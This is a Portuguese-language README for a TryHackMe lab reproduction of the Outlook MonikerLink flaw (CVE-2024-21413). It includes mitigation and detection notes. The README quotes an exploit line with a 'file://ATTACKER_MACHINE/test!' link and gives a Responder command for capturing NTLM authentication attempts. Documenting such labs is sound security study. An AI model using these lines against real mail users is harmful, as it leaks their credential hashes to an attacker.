
Este repositório contém notas de pesquisa e uma prova de conceito (PoC) de alto nível para o CVE-2024-21413, uma vulnerabilidade observada em determinados clientes de e-mail ao manipular links no estilo SMB/moniker incorporados em mensagens. A PoC e os experimentos documentados aqui foram realizados em um ambiente de laboratório controlado em sistemas.
Este projeto reproduz o comportamento MonikerLink (CVE-2024-21413) em um ambiente TryHackMe totalmente isolado para mostrar como certos formatos de hiperlink podem fazer com que o Outlook processe um link de uma forma que vaza tentativas de autenticação ou leva a exploração adicional. O entregável é um PoC, e um conjunto priorizado de mitigações e sugestões de detecção que as equipes de segurança podem aplicar. Nenhum sistema ao vivo / não autorizado foi alvo.
| Ferramenta / Habilidade | Propósito |
|---|---|
| Python | Desenvolvimento de script |
| Linux (Kali) | Sistema alvo |
| Metasploit | Exploração e acesso |
| TryHackMe Lab | Ambiente controlado |
Este código foi escrito por CMNatic e pode ser encontrado aqui
Por exemplo, na seguinte linha “<a href=“file://ATTACKER_MACHINE/test!” eu substituí "ATTACKER_MACHINE" pelo endereço IP da minha máquina atacante e na linha “server = smtplib.SMTP('MAILSERVER', 25)”, mudei "MAILSERVER" pelo endereço IP da minha máquina vítima.
responder -I ens5
systemctl start systemd-resolved

Esta prova de conceito expõe uma nuance no tratamento de links do Microsoft Outlook: certos links moniker do tipo file://–style que referenciam recursos SMB podem escapar da filtragem padrão do Outlook e provocar tentativas de autenticação de saída. O comportamento demonstrado aqui foi reproduzido em um laboratório TryHackMe totalmente controlado e destaca como formatos de link aparentemente benignos podem mascarar interações de rede. Embora patches do fornecedor e orientações de detecção tenham sido emitidas, a mecânica subjacente permanece complexa devido aos usos legítimos do esquema moniker/file. Importante, a atividade gerada por este PoC é observável no nível da rede (por exemplo, em capturas de pacotes mostrando tentativas de autenticação NTLM), tornando-a adequada para análise forense e investigação de incidentes.
Uma regra Yara foi criada por Florian Roth para detectar e-mails contendo o elemento :file:\:.
